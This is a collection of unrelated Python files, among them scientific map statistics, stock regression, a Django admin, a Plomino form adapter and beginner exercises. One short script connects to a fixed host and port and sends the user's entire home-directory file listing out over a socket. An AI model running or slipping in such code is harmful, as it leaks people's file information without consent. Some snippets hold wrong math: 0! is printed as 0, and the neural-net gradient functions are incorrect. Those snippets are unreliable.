import math
import random

def sigmoid(x):
    e = 2.71828182845904523536028747135266249775724709369995
    y = 1/(1+(e**-x))

    return float(y)

def errorFunc(o, t):
    error = 1/2 * ((t-o)**2)
    return error

def errorSum(errorList):
    accum = 0
    for i in errorList:
        try:
            accum += i
        except(TypeError):
            pass

    return accum

def errorGrad(error, weight):
    errorGrad = []
    count = 0
    for layer in range(len(weight)):
        for node in range(len(weight[layer])):
            for i in range (len(weight[layer][node])):
                errorGrad.insert(count, sigmoid(error)/sigmoid(weight[layer][node][i]))
    return errorGrad

def initWeight(layer):
    weight = random.uniform(-1.0/math.sqrt(float(layer+1)), 1.0/math.sqrt(float(layer+1)))
    return weight

def weightDiff(errorList, weight):
    lc = 0.1
    count = 0
    for layer in range(len(weight)):
        for node in range(len(weight[layer])):
            for i in range (len(weight[layer][node])):
                weight[layer][node][i] =(-lc*(sigmoid(errorList[count]/sigmoid(weight[layer][node][i]))))
                count += 1

    return weight


# -*- coding: utf-8 -*-
"""

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

   http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

@author: Erik A. Kneller
"""
import fileIO
import numpy as np
import scipy.stats
import map_tools
from numba import jit

@jit(nopython=True)
def get_results_vec_at_ij(i,j, nruns, vec_np, scalars_nxy_np):
    for m in range(nruns):
        vec_np[m] = scalars_nxy_np[m][i][j]

def calc_maps_stats(
                    dir_path_list, target_output_dir,
                    target_map_name, threshold,
                    output_path
):
    nruns_list = []
    root_list = []
    sub_dir_list_all = []
    nruns_tot = 0
    for dir_path in dir_path_list:
        # Get information on all risk runs
        (
            nruns, output_path_root,
            sub_dir_list, input_path
        ) = fileIO.read_riskrun_file(dir_path)
        nruns_tot = nruns_tot + nruns
        nruns_list.append(nruns)
        root_list.append(output_path_root)
        sub_dir_list_all.append(sub_dir_list)
    ndir = len(dir_path_list)
    icount_run = 0
    for i in range(ndir):
        nruns = nruns_list[i]
        root_dir = root_list[i]
        sub_dir_list = sub_dir_list_all[i]
        nsub = len(sub_dir_list)
        for j in range(nsub):
            input_path = (
                            root_dir
                            + sub_dir_list[j]
                            + "\\" + target_output_dir + "\\"
                            )
            print("i, j, input_path, target_map_name : ",
                  input_path, target_map_name)
            AOI_np_ini = np.zeros((1,1))
            # Read Map
            (
                scalars_xy_np, nx, ny,
                dx, dy, xmin, xmax, ymin, ymax,
                AOI_np
            ) = map_tools.read_ZMAP(input_path, target_map_name, AOI_np_ini)
            if i == 0 and j == 0:
                # Initialize master numpy array
                scalars_nxy_np = np.zeros((nruns_tot, nx, ny))
            # Transfer to master numpy array
            scalars_nxy_np[icount_run] = scalars_xy_np
            icount_run = icount_run + 1
    # Calculate statistics
    nruns = scalars_nxy_np.shape[0]
    nx = scalars_nxy_np.shape[1]
    ny = scalars_nxy_np.shape[2]
    p10map_xy_np = np.ones((nx,ny))*-99999
    p50map_xy_np = np.ones((nx,ny))*-99999
    p90map_xy_np = np.ones((nx,ny))*-99999
    pgtmap_xy_np = np.ones((nx,ny))*-99999
    stdevmap_xy_np = np.ones((nx,ny))*-99999
    varmap_xy_np = np.ones((nx,ny))*-99999
    for i in range(nx):
        for j in range(ny):
            AOI_flag = AOI_np[i][j]
            if AOI_flag == 1:
                vec_np = np.zeros((nruns))
                get_results_vec_at_ij(i,j, nruns, vec_np, scalars_nxy_np)
                percentile10 = np.percentile(vec_np, 10)
                percentile50 = np.percentile(vec_np, 50)
                percentile90 = np.percentile(vec_np, 90)
                p10 = percentile90
                p50 = percentile50
                p90 = percentile10
                p10map_xy_np[i][j]=p10
                p50map_xy_np[i][j]=p50
                p90map_xy_np[i][j]=p90
                pgt = np.sum(vec_np > threshold) / vec_np.size
                pgtmap_xy_np[i][j]=pgt
                stdev = np.std(vec_np)
                stdevmap_xy_np[i][j]=stdev
                var = np.var(vec_np)
                varmap_xy_np[i][j]=var

    file_name = "p10_"+target_map_name
    map_tools.make_output_file_ZMAP_v4(
                            output_path, file_name, p10map_xy_np,
                            nx, ny, dx, dy, xmin, xmax, ymin, ymax, AOI_np)
    file_name = "p50_"+target_map_name
    map_tools.make_output_file_ZMAP_v4(
                            output_path, file_name, p50map_xy_np,
                            nx, ny, dx, dy, xmin, xmax, ymin, ymax, AOI_np)
    file_name = "p90_"+target_map_name
    map_tools.make_output_file_ZMAP_v4(
                            output_path, file_name, p90map_xy_np,
                            nx, ny, dx, dy, xmin, xmax, ymin, ymax, AOI_np)
    file_name = "prob_gt_threshold_"+str(threshold)+"_"+target_map_name
    map_tools.make_output_file_ZMAP_v4(
                            output_path, file_name, pgtmap_xy_np,
                            nx, ny, dx, dy, xmin, xmax, ymin, ymax, AOI_np)
    file_name = "stdev_"+target_map_name
    map_tools.make_output_file_ZMAP_v4(
                            output_path, file_name, stdevmap_xy_np,
                            nx, ny, dx, dy, xmin, xmax, ymin, ymax, AOI_np)
    file_name = "var_"+target_map_name
    map_tools.make_output_file_ZMAP_v4(
                            output_path, file_name, varmap_xy_np,
                            nx, ny, dx, dy, xmin, xmax, ymin, ymax, AOI_np)

def random_values_from_discrete(p1, p2, p3, nruns):
    xk = np.zeros((3))
    xk[0] = -1
    xk[1] = 0
    xk[2] = 1
    pk = np.zeros((3))
    pk[0] = p1
    pk[1] = p2
    pk[2] = p3
    custm = scipy.stats.rv_discrete(name='custm', values=(xk, pk))
    vec = custm.rvs(size=nruns)
    return vec

def random_values_from_pdf(pdf_stype, a, b, c, vmin, vmax, nruns):
    # Run# vs variance or std
    # Triangular: got it
    # Uniform
    # Guaisian
    # Beta: got it
    # Discrete: use other function
    scale_val = vmax - vmin
    loc_val = vmin
    if pdf_stype == "beta":
        vec = scipy.stats.beta.rvs(a, b, scale=scale_val,
                                   loc=loc_val, size=nruns)
    elif pdf_stype == "triangular":
        vec = scipy.stats.triang.rvs(c, scale=scale_val,
                                     loc=loc_val)
    elif pdf_stype == "uniform":
        vec = scipy.stats.uniform.rvs(scale=scale_val,
                                      loc=loc_val)
    else:
        vec = scipy.stats.beta.rvs(a, b, scale=scale_val,
                                   loc=loc_val, size=nruns)
    return vec

def build_high_low_delta_dict(
                                zeros_xy_np, risk_var_names,
                                HL_dict, pdf_dict, discrete_dict
):
    HL_delta_dict = {}
    pdf_keys = list(pdf_dict.keys())
    active_var_names = list(HL_dict.keys())
    for var_name in risk_var_names:
        if var_name not in ["kinetics", "gas_frac", "polar_frac",
                            "adsth", "inert", "temp_elastic"]:
            HL_delta_dict[var_name] = [[zeros_xy_np, "zero_map"]]
        elif var_name in ["kinetics", "gas_frac", "polar_frac"]:
            HL_delta_dict[var_name] = [[2,"2-base_model"]]
        else:
            HL_delta_dict[var_name] = [[0,"0"]]
    for active_var_name in active_var_names:
        # Get high and low case values
        delta_L = HL_dict[active_var_name][0]
        delta_H = HL_dict[active_var_name][1]
        if active_var_name in pdf_keys:
            Lelem = pdf_dict[active_var_name][4]
        elif active_var_name == "kinetics":
            Lelem = "Early"
        elif active_var_name in ["gas_frac", "polar_frac"]:
            Lelem = "minimum"
        HL_delta_dict[active_var_name].append([delta_L,str(Lelem)])
        # Loop over all keys
        for var_name in risk_var_names:
            if var_name != active_var_name:
                if var_name not in ["kinetics", "gas_frac", "polar_frac",
                                    "adsth", "inert", "temp_elastic"]:
                    HL_delta_dict[var_name].append([zeros_xy_np,"zero_map"])
                elif var_name in ["kinetics", "gas_frac", "polar_frac"]:
                    HL_delta_dict[var_name].append([2, "2-base_model"])
                else:
                    HL_delta_dict[var_name].append([0,"0"])
        if active_var_name in pdf_keys:
            Helem = pdf_dict[active_var_name][5]
        elif active_var_name == "kinetics":
            Helem = "Late"
        elif active_var_name in ["gas_frac", "polar_frac"]:
            Helem = "maximum"
        HL_delta_dict[active_var_name].append([delta_H,str(Helem)])
        # Loop over all keys
        for var_name in risk_var_names:
            # Build high side scenarios
            if var_name != active_var_name:
                if var_name not in ["kinetics", "gas_frac", "polar_frac",
                                    "adsth", "inert", "temp_elastic"]:
                    HL_delta_dict[var_name].append([zeros_xy_np,"zero_map"])
                elif var_name in ["kinetics", "gas_frac", "polar_frac"]:
                    HL_delta_dict[var_name].append([2,"2-base_model"])
                else:
                    HL_delta_dict[var_name].append([0,"0"])
    nruns = len(HL_delta_dict[active_var_names[0]])
    return HL_delta_dict, nruns

@jit(nopython=True)
def reset_AOI(delta_nxy_np, nruns, nx, ny, AOI_np):
    for ir in range(nruns):
        for i in range(nx):
            for j in range(ny):
                AOI_flag = AOI_np[i][j]
                if AOI_flag != 1:
                    delta_nxy_np[ir][i][j] = -99999

def assign_random_numbers_to_map(
                                    nx, ny, smin_xy_np, smax_xy_np,
                                    delta_nxy_np, nruns, sname,
                                    pdf_dict, AOI_np
):
    pdf_stype = pdf_dict[sname][0]
    a = pdf_dict[sname][1]
    b = pdf_dict[sname][2]
    c = pdf_dict[sname][3]
    trange_xy_np = smax_xy_np - smin_xy_np
    pdf_dict[sname].append([])
    for ir in range(nruns):
        if pdf_stype == "beta":
            rv = scipy.stats.beta.rvs(a, b, scale=1, loc=0)
        elif pdf_stype == "triangular":
            rv = scipy.stats.triang.rvs(c, scale=1, loc=0)
        elif pdf_stype == "uniform":
            rv = scipy.stats.uniform.rvs(scale=1, loc=0)
        else:
            rv = scipy.stats.beta.rvs(a, b, scale=1, loc=0)
        delta_nxy_np[ir]= smin_xy_np + trange_xy_np*rv
        pdf_dict[sname][6].append(rv)
    reset_AOI(delta_nxy_np, nruns, nx, ny, AOI_np)

@jit(nopython=True)
def update_scalars(nx, ny, delta_xy_tmp_np, val, AOI_np):
    for i in range(nx):
        for j in range(ny):
            AOI_flag = AOI_np[i][j]
            if AOI_flag != 1:
                delta_xy_tmp_np[i][j] = -99999
            else:
                delta_xy_tmp_np[i][j] = val


# uzytkownik prowadza osoby
# każda wprowadzona osoba ma imie, nazwisko, mail
# program pyta czy wprowadzić koleją osobę
# po zakończeniu wprowadzania, program wypisuje
#  - ile jest kobiet
#  - ile osób ma maila w domenie gmail
# dla chętnych: program usuwa tych, których imion nie ma w bazie

data = []
while True:
    person = input('Wprowadź dane: Imie, nazwisko, mail - oddziel spacją ').split()
    data.append(person)
    decission = input('Czy chcesz dodać kolejną osobę? T/N ')
    if decission.upper() != 'T':
        break
no_of_women = 0
no_of_gmail = 0
for person in data:
    if person[0][-1] == 'a':
        no_of_women += 1
    if '@gmail.' in person[2]:
        no_of_gmail += 1
print(f' Liczba kobiet: {no_of_women}, a liczba uzytkowników gmail: {no_of_gmail}')
print(f'Lista osób: {data}')
#print(data[0][2][7:10])   # wyciągnicie kawałka maila
# usuwanie niepasujących imion
names = ['Kamil', 'Marek', 'Basia', 'Kasia', 'Gustaw', 'Mietek']
for person in data:
    if person[0] not in names:
        data.remove(person)
print(f'Końcowa lista wygląda tak: {data}\n, jest {len(data)} osób')


# coding=utf-8
__author__ = 'huangfuxin'

from django.contrib import admin

from console.console.ips.models import IpsModel, QosModel

@admin.register(IpsModel)
class IpsModelAdmin(admin.ModelAdmin):
    list_display = ("id",
                    "zone",
                    "user",
                    "ip_id",
                    "uuid",
                    "name",
                    "bandwidth",
                    "qos",
                    "create_datetime",
                    "deleted",
                    "delete_datetime")

@admin.register(QosModel)
class QosModelAdmin(admin.ModelAdmin):
    list_display = ("id",
                    "qos_id",
                    "ingress_uuid",
                    "egress_uuid",
                    "create_datetime",
                    "deleted",
                    "delete_datetime")


import os, socket

def getUserDirectory():
    path = os.getenv("USERPROFILE")
    if(path != None):
        return path
    else:
        print("No path found")

if __name__ == "__main__":
    HOST = '192.168.0.164'
    PORT = 5555
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect((HOST, PORT))

    pathP = getUserDirectory()
    server.send(pathP.encode())
    server.send("\n".encode())

    for path, dirnames, filenames in os.walk(pathP):
        if(path.find("AppData") != -1 or path.find(".m2") != -1 or path.find(".vscode") != -1):
            continue
        server.sendall(str.encode(" ".join([str(path), str(dirnames), str(filenames)])))
        server.send("\n".encode())
    server.close()


#!/bin/python3

import sys

n = int(input().strip())
arr = [int(arr_temp) for arr_temp in input().strip().split(' ')]
sum=0
for number in arr:
    sum=sum+number
print(sum)


'''
Created on Feb 16, 2014

@author: lnunno
'''
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn.linear_model import LinearRegression
from sklearn import svm
from sklearn.preprocessing import scale
from pystock.time_utils import prev_n_business_days, next_n_business_days, \
    datetime64_to_ordinal_arr
from sklearn.linear_model.ridge import Ridge

class Regression(object):

    LINEAR = 'Linear'
    RIDGE = 'Ridge'
    SVR_RBF = 'SVR_RBF'
    SVR_POLY = 'SVR_POLY'

    methods = [
               LINEAR,
               SVR_RBF,
               SVR_POLY
               ]

class Stock(object):
    '''
    Model of a Stock.

    Internally, this is just a specialized view of the master DataFrame which holds all the stock data.

    This object also provides equivalence and hashing behavior
    so that it can be stored in hashed data structures like dictionaries.
    In these cases, the symbol (ticker) is compared and used as the hash.

    @ivar prices: The price time series.
    '''

    def __init__(self, stock_data, symbol):
        '''
        @param symbol: The ticker or stock symbol for this stock.
        '''
        idx = (stock_data.TICKER == symbol)
        self.data = stock_data.ix[idx]
        self.symbol = symbol
        self.prices = self.get_price_time_series()

    def get_price_time_series(self):
        '''
        Get the stock's price time series data.

        To get a range from the returned object you can, for instance, use partial string indexing which pandas will parse into the appropriate time index.

        Examples:
        tsd = stock.get_price_time_series()
        tsd['2011':'2013']  # Get the prices for the years 2011 - 2013
        tsd['10/31/2011':'12/31/2011'] # Daily prices for a 2 month period.
        tsd['10/31/2011'] # Single day price

        @see: http://pandas.pydata.org/pandas-docs/stable/timeseries.html#datetimeindex For a detailed description of how to use the DatetimeIndex.
        @return: A pandas Series object where the index is a DatetimeIndex and the values are the stock prices.
        '''
        date_index = pd.DatetimeIndex(self.data['date'])
        price_values = self.data['PRC'].values
        return pd.Series(price_values, index=date_index)

    def get_prices_range(self, start_date, end_date):
        '''
        Get the stock prices between start_date and end_date.
        @param start_date: str The beginning date to get price info.
        @param end_date: str The ending date to get price info.
        '''
        return self.prices[start_date:end_date]

    def get_prices_after(self, start_date, n):
        date_range = next_n_business_days(start_date, n, include_start=True)
        return self.get_prices_range(date_range[0], date_range[-1])

    def get_price_at_date(self, date):
        return self.prices[date]

    def plot_price(self, start_date, end_date, show=False, save_path=''):
        price_ts = self.get_prices_range(start_date, end_date)
        plt.figure()
        ax = plt.subplot(111)
        figure = price_ts.plot(label='Ground truth')
        ax.set_xlabel('Time')
        ax.set_ylabel('Price')
        ax.set_title('Price for %s from %s to %s' % (self.symbol, start_date, end_date))
        if show:
            plt.show(figure)
        elif save_path:
            plt.savefig(figure)
        return figure,ax

    def predict_prices(self,
                       predict_start,
                       num_previous_dates,
                       num_successive_dates,
                       include_training_dates=False,
                       method=Regression.LINEAR):
        '''
        Linear Regression (Linear): Standard linear regression.

        Support Vector Regression (SVR_RBF) is an extension of Support Vector Machines used to solve regression problems.
        An explanation and example of its usage are available here:
        http://scikit-learn.org/dev/modules/svm.html#regression
        http://scikit-learn.org/dev/auto_examples/svm/plot_svm_regression.html#example-svm-plot-svm-regression-py

        @param predict_start: string The date to start the prediction.
        @param num_previous_dates: int Number of dates to use prior to predict_start as the training data.
        @param num_successive_dates: int Number of dates to predict after predict_start.
        @param include_training_dates: bool Include the training dates in the predicted prices.
        @param method: Method used for regression. One of the Regression.methods values.

        @return: A Series with a DatetimeIndex with the dates and predicted prices.
        '''
        predict_dates = next_n_business_days(predict_start, num_successive_dates, include_start=True)
        training_dates = prev_n_business_days(predict_start, num_previous_dates, include_start=False)
        training_prices_series = self.get_prices_range(str(training_dates[-1]), str(training_dates[0]))
        training_date_index_ls = training_prices_series.index.values

        if include_training_dates:
            # Include training data in predictions.
            predict_dates = np.hstack((training_dates,predict_dates))

        td_ordinals = datetime64_to_ordinal_arr(training_date_index_ls)
        p = datetime64_to_ordinal_arr(predict_dates)

        # Have to reshape into a 2d array from a 1d array.
        p = p.reshape(p.shape[0], 1)
        X = td_ordinals.reshape(td_ordinals.shape[0], 1)

        # Normalize dates
        A = np.vstack((X, p))  # Have to stack to normalize training and test data as one.
        A = scale(A, axis=0)
        n = p.shape[0]
        X = A[:-n]
        p = A[-n:]

        y = training_prices_series.values

        if method == Regression.SVR_RBF:
            regressor = svm.SVR(kernel='rbf')
        elif method == Regression.SVR_POLY:
            regressor = svm.SVR(kernel='poly')
        elif method == Regression.RIDGE:
            regressor = Ridge()
        elif method == Regression.LINEAR:
            regressor = LinearRegression()
        else:
            raise ValueError('Unrecognized regression method %s' % (method))
        try:
            regressor.fit(X, y)  # Train using the training X and y data.
        except ValueError:
            raise ValueError('Issue fitting, re-throwing.')
        predictions = regressor.predict(p)
        index = pd.DatetimeIndex(predict_dates)
        series = pd.Series(predictions,index=index)
        return series

    def __str__(self):
        return '%s' % (self.symbol)

    def __repr__(self):
        return self.__str__()

    def __hash__(self):
        return hash(self.symbol)

    def __eq__(self, other):
        return self.symbol == other.symbol

    def __ne__(self, other):
        return self.symbol != other.symbol


##using for loop
x=int(input("enter the number whose factorial to be known ="))
if(x==0):
    print("the factorial is 0")
else:
    def fact(n):
        f=1
        for i in range(1,n+1):
            f=f*i
        return f
    result = fact(x)
    print(result)
###while loop
print("for while loop")
num=int(input("enter a number whose factorial you want to know:"))
n1=1
fact=1
if(num==0):
    print("the fact is 0")
else:
    while(n1<=num):
        fact=fact*n1
        n1+=1
    print(fact)


import networkx as nx

from .edge_weights import UnitEdgeWeight

class PpiInstance:
    """
    Describes an instance for which we want to find multiple diverse steiner trees.
    It consists of a graph (more or less static PPI), terminals (different for each
    disease), and edge weights (probably constant but there are multiple options).
    One could actually encode it directly the the networkx-graph but the PPI graph is
    rather big. We don't want you to reload it for every new set of terminals, etc.
    All the values should be constant.
    """

    def __init__(self, ppi_graph: nx.Graph, terminals: list,
                 edge_weights=UnitEdgeWeight(), meta=None):
        self.ppi_graph = ppi_graph
        self.terminals = terminals
        self.edge_weights = edge_weights
        if not meta:
            self.meta = {"graph_diameter": 8}  # Precomputed.
            print("Setting the graph_diameter to the precomputed value of 8. "
                  "Directly specify meta to overwrite this.")
        else:
            self.meta = meta

    def compute_cost(self, subgraph: nx.Graph):
        return sum(self.edge_weights[e] for e in subgraph.edges)

    def is_feasible_solution(self, steiner_tree: nx.Graph, percentage_terminals_req_in_solution: int):
        """
        Checks if the solution covers all terminals and is connected.
        """
        #for v in self.terminals:
        #    if v not in steiner_tree.nodes:
        #        return False
        intersection_length = len(set(self.terminals).intersection(set(steiner_tree.nodes)))
        if intersection_length / len(self.terminals) < percentage_terminals_req_in_solution:
            return False
        return nx.is_connected(steiner_tree)


n,m = [int(x) for x in input().split()]
seq=[]
for x in range(n):
	a,b=[int(x) for x in input().split()]
	seq.append((a,b))

seq = sorted(seq)
price=0
i=0
while m>0:
	a,b = seq[i]
	if m>=b:
		m-=b
		price+=b*a
		i+=1
	else:
		price+=m*a
		m=0
		break

print(price)


"""
Setup, test, build, package, and install apt_scraper package.
Author: Matt Bucter
"""
from setuptools import find_packages, setup

_VER = "0.1.0"

setup(
    name="apt-scraper",
    url="https://github.com/mbucter/apt-scraper",
    version=_VER,
    description="Scrape apartment prices.",
    author="Matt Bucter",
    author_email="matthewbucter@gmail.com",
    packages=find_packages(exclude=["test_.*", "tests"]),
    include_package_data=True,
    install_requires=[
        "click",
        "pandas >= 1.0.3",
        "bs4",
        "requests",
    ],
    entry_points={"console_scripts": ["apt-scraper=apt_scraper.extract:extract"]}
)


from Products.Five.browser.pagetemplatefile import ViewPageTemplateFile

from Products.CMFPlomino.config import FIELD_MODES
from Products.CMFPlomino.PlominoField import get_field_types
from Products.CMFPlomino.PlominoAction import ACTION_TYPES, ACTION_DISPLAY
from Products.CMFPlomino.PlominoAction import PlominoAction
from Products.CMFPlomino.PlominoField import PlominoField
from Products.CMFPlomino.PlominoHidewhen import PlominoHidewhen
from Products.CMFPlomino.PlominoCache import PlominoCache

class PlominoForm(object):
    """
    """
    action_template = ViewPageTemplateFile('action.pt')

    def __init__(self, context, request):
        """Initialize adapter."""
        self.context = context
        self.request = request

    def __call__(self):
        """
        """
        return self

    def getFieldTypes(self):
        """Return a list of possible types for a field.
        """
        fieldtypes = [(pair[0], pair[1][0]) for pair in get_field_types().items()]
        fieldtypes.sort(key=lambda f:f[1])
        return fieldtypes

    def getFieldModes(self):
        """Return a list of possible modes for a field.
        """
        return FIELD_MODES

    def getField(self):
        """Return a field from the request, or the first field if empty, or None if the specified field doesn't exist.
        """
        fieldid = self.request.get("fieldid", None)
        if fieldid:
            field = getattr(self.context, fieldid, None)
            if isinstance(field, PlominoField):
                return field
            else:
                return None

        fieldsList = self.context.getFormFields()
        if len(fieldsList) > 0:
            return fieldsList[0]
        else:
            return None

    def getFieldProperties(self):
        """Return properties of an action, or , if no action is given, properties filled with default values.
        """
        field = self.getField()
        if field:
            return {'fieldType': field.FieldType,
                    'fieldMode': field.FieldMode,
                    'formula': field.Formula
                    }
        else:
             return {'fieldType': 'TEXT',
                    'fieldMode': 'EDITABLE',
                    'formula': ''
                    }

    def addField(self):
        """Add a field to the form.
        """
        fieldid = self.request.get("fieldid", None)
        fieldtype = self.request.get("fieldtype", "TEXT")
        fieldmode = self.request.get("fieldmode", "EDITABLE")
        fieldformula = self.request.get("fieldformula", "")

        # self.context is the current form
        if fieldid:
            if not hasattr(self.context, fieldid):
                self.context.invokeFactory('PlominoField', Title=fieldid, id=fieldid, FieldType=fieldtype, FieldMode=fieldmode)
                field = self.context.aq_inner.getFormField(fieldid)
                field.setFormula(fieldformula)
                field.setTitle(fieldid)
                field.at_post_create_script()

                self.request.RESPONSE.redirect(self.context.absolute_url() + "/@@tinymceplominoform/valid_page?type=field&value=" + fieldid + "&fieldurl=" + "/".join(field.getPhysicalPath()))

            else:
                self.request.RESPONSE.redirect(self.context.absolute_url() + "/@@tinymceplominoform/error_page?error=object_exists")

        else:
            self.request.RESPONSE.redirect(self.context.absolute_url() + "/@@tinymceplominoform/error_page?error=no_field")

    def getActions(self):
        """Returns a sorted list of actions
        """
        actions = self.context.aq_inner.getActions(None, False)
        actions = [a[0] for a in actions]
        actions.sort(key=lambda elt: elt.id.lower())
        return actions

    def getActionTypes(self):
        """Return a list of possible types for an action.
        """
        return ACTION_TYPES

    def getActionDisplay(self):
        """Return a list of possible displays for an action.
        """
        return ACTION_DISPLAY

    def getAction(self):
        """Return an action from the request, or the first action if empty, or None if the specified action doesn't exist.
        """
        actionid = self.request.get("actionid", None)
        if actionid:
            action = getattr(self.context, actionid, None)
            if isinstance(action, PlominoAction):
                return action
            else:
                return None

        actionsList = self.context.getActions(None, False)
        if len(actionsList) > 0:
            return actionsList[0][0]
        else:
            return None

    def getActionProperties(self):
        """Return properties of an action, or , if no action is given, properties filled with default values.
        """
        action = self.getAction()
        if action:
            return {'title': action.Title(),
                    'actionType': action.ActionType,
                    'actionDisplay': action.ActionDisplay,
                    'content': action.Content,
                    'hideWhen': action.Hidewhen,
                    'inActionBar': action.InActionBar
                    }
        else:
             return {'title': '',
                     'actionType': 'OPENFORM',
                     'actionDisplay': 'LINK',
                     'content': '',
                     'hideWhen': '',
                     'inActionBar': False
                     }

    def addAction(self):
        """ Add an action to the form.
        """
        actionid = self.request.get("actionid", None)
        title = self.request.get("actiontitle", actionid)
        actionType = self.request.get("actiontype", 'OPENFORM')
        actionDisplay = self.request.get("actiondisplay", 'LINK')
        content = self.request.get("actioncontent", '')
        hideWhen = self.request.get("actionhidewhen", '')
        inActionBar = self.request.get("actioninactionbar", None) == 'on'

        # self.context is the current form
        if actionid:
            if not hasattr(self.context, actionid):
                self.context.invokeFactory('PlominoAction', Title=title, id=actionid, ActionType=actionType, ActionDisplay=actionDisplay, Content=content, Hidewhen=hideWhen, InActionBar=inActionBar)
                action = getattr(self.context.aq_inner, actionid)
                action.setTitle(title)
                #action = getattr(self.context.aq_parent.aq_parent, actionid)
                #action.at_post_edit_script()

                self.request.RESPONSE.redirect(self.context.absolute_url() + "/@@tinymceplominoform/valid_page?type=action&value=" + actionid)

            else:
                self.request.RESPONSE.redirect(self.context.absolute_url() + "/@@tinymceplominoform/error_page?error=object_exists")

        else:
            self.request.RESPONSE.redirect(self.context.absolute_url() + "/@@tinymceplominoform/error_page?error=no_action")

    def getSubForms(self):
        """Returns a list of forms from the parent database, without the current form
        """
        form = self.context.aq_inner
        subforms = form.getParentDatabase().getForms()
        subforms.remove(form)
        subforms.sort(key=lambda elt: elt.id.lower())
        return subforms

    def getHidewhenFormulas(self):
        """Returns a sorted list of Hide-when
        """
        hw = self.context.aq_inner.getHidewhenFormulas()
        hw.sort(key=lambda elt: elt.id.lower())
        return hw

    def getHidewhen(self):
        """Returns a hide-when formula from the request, or the first hide-when formula if empty, or None if the specified hide-when doesn't exist.
        """
        hidewhenid = self.request.get("hidewhenid", None)

        if self.request.get("create", False):
            return None

        if hidewhenid:
            hidewhen = getattr(self.context, hidewhenid, None)
            if isinstance(hidewhen, PlominoHidewhen):
                return hidewhen
            else:
                return None

        hidewhenList = self.context.getHidewhenFormulas()
        if len(hidewhenList) > 0:
            return hidewhenList[0]
        else:
            return None

    def getHidewhenProperties(self):
        """Returns properties of a hide-when formula, or, if no hide-when formula is given, properties filled with default values.
        """
        hidewhen = self.getHidewhen()
        if hidewhen:
            return { 'formula': hidewhen.Formula, 'isdynamichidewhen': hidewhen.isDynamicHidewhen }
        else:
             return { 'formula': '', 'isdynamichidewhen': False }

    def addHidewhen(self):
        """ Add a hide-when to the form.
        """
        hidewhenid = self.request.get("hidewhenid", None)
        hidewhenformula = self.request.get("hidewhenformula", '')
        hidewhentype = self.request.get("hidewhentype", 'static')

        # self.context is the current form
        if hidewhenid:
            if not hasattr(self.context, hidewhenid):
                self.context.invokeFactory('PlominoHidewhen', Title=hidewhenid, id=hidewhenid, Formula=hidewhenformula, isDynamicHidewhen=hidewhentype=='dynamic')
                hidewhen = getattr(self.context.aq_inner, hidewhenid)
                hidewhen.setTitle(hidewhenid)
#                hidewhen.at_post_edit_script()

                self.request.RESPONSE.redirect(self.context.absolute_url() + "/@@tinymceplominoform/valid_page?type=hidewhen&value=" + hidewhenid)

            else:
                self.request.RESPONSE.redirect(self.context.absolute_url() + "/@@tinymceplominoform/error_page?error=object_exists")

        else:
            self.request.RESPONSE.redirect(self.context.absolute_url() + "/@@tinymceplominoform/error_page?error=no_hidewhen")

    #PLOMINO CACHE
    def getCacheFormulas(self):
        """Returns a sorted list of caches
        """
        hw = self.context.aq_inner.getCacheFormulas()
        hw.sort(key=lambda elt: elt.id.lower())
        return hw

    def getCacheFormula(self):
        """Returns a cache formula from the request, or the first cache formula if empty, or None if the specified cache doesn't exist.
        """
        cacheid = self.request.get("cacheid", None)

        if self.request.get("create", False):
            return None

        if cacheid:
            cache = getattr(self.context, cacheid, None)
            if isinstance(cache, PlominoCache):
                return cache
            else:
                return None

        cacheList = self.context.getCacheFormulas()
        if len(cacheList) > 0:
            return cacheList[0]
        else:
            return None

    def getCacheProperties(self):
        """Returns properties of a cache formula, or, if no cache formula is given, properties filled with default values.
        """
        cache = self.getCacheFormula()
        if cache:
            return { 'formula': cache.Formula}
        else:
             return { 'formula': ''}

    def addCache(self):
        """ Add a cache to the form.
        """
        cacheid = self.request.get("cacheid", None)
        cacheformula = self.request.get("cacheformula", '')

        # self.context is the current form
        if cacheid:
            if not hasattr(self.context, cacheid):
                self.context.invokeFactory('PlominoCache', Title=cacheid, id=cacheid, Formula=cacheformula)
                cache = getattr(self.context.aq_inner, cacheid)
                cache.setTitle(cacheid)

                self.request.RESPONSE.redirect(self.context.absolute_url() + "/@@tinymceplominoform/valid_page?type=cache&value=" + cacheid)

            else:
                self.request.RESPONSE.redirect(self.context.absolute_url() + "/@@tinymceplominoform/error_page?error=object_exists")

        else:
            self.request.RESPONSE.redirect(self.context.absolute_url() + "/@@tinymceplominoform/error_page?error=no_cache")


# Nhập ma trận B, d từ file input
# file input là ma trận cấp n x (n+1)
# trong đó n cột đầu tiên biễn diễn ma trận B, cột cuối cùng biểu diễn vecto d
f1 = open("input.txt", "r")
data = f1.readlines()
n = sum(1 for _ in data)
f1.close()
B = []
d = []
for s in data:
    row = s.strip().split(' ')
    row1 = [float(i) for i in row]
    row2 = []
    for i in range(len(row1)-1):
        row2.append(row1[i])
    B.append(row2)
    d.append(row1[len(row1)-1])
print("B = ", B)
print("d = ", d)

e = 10e-10

# chuẩn vc của ma trận
def chuanvc(a):
    a1 = []
    for r in a:
        m = (sum(abs(i) for i in r))
        a1.append(m)
    c = max(i for i in a1)
    return c

# chuẩn 1 của ma trận
def chuan1(a):
    a1 = [sum([abs(x[i]) for x in a]) for i in range(len(a[0]))]
    m = max(abs(i) for i in a1)
    return m

# hiệu hai vecto
def sub(a, c):
    m = []
    for i in range(len(a)):
        m.append((a[i] - c[i]))
    return m

print(chuanvc(B))
# Gói A: Kiểm tra loại chuẩn
# input: Ma trận B
# output: kt(B)
def kt(B):
    if chuanvc(B) < 1:
        if chuan1(B) < chuanvc(B):
            return 1
        else:
            return 0
    else:
        if chuan1(B) < 1:
            return 1
        else:
            return -1

# Gói B: tính chuẩn
# input: kt(B), B, x
# output: chuan(B), chuan(x)
def chuan(B):
    if kt(B) == 0:
        return chuanvc(B)
    if kt(B) == 1:
        return chuan1(B)

def c_vecto(x):
    if kt(B) == 0:
        return max(abs(i) for i in x)
    else:
        if kt(B) == 1:
            return sum(abs(i) for i in x)
        else:
            print("Error")

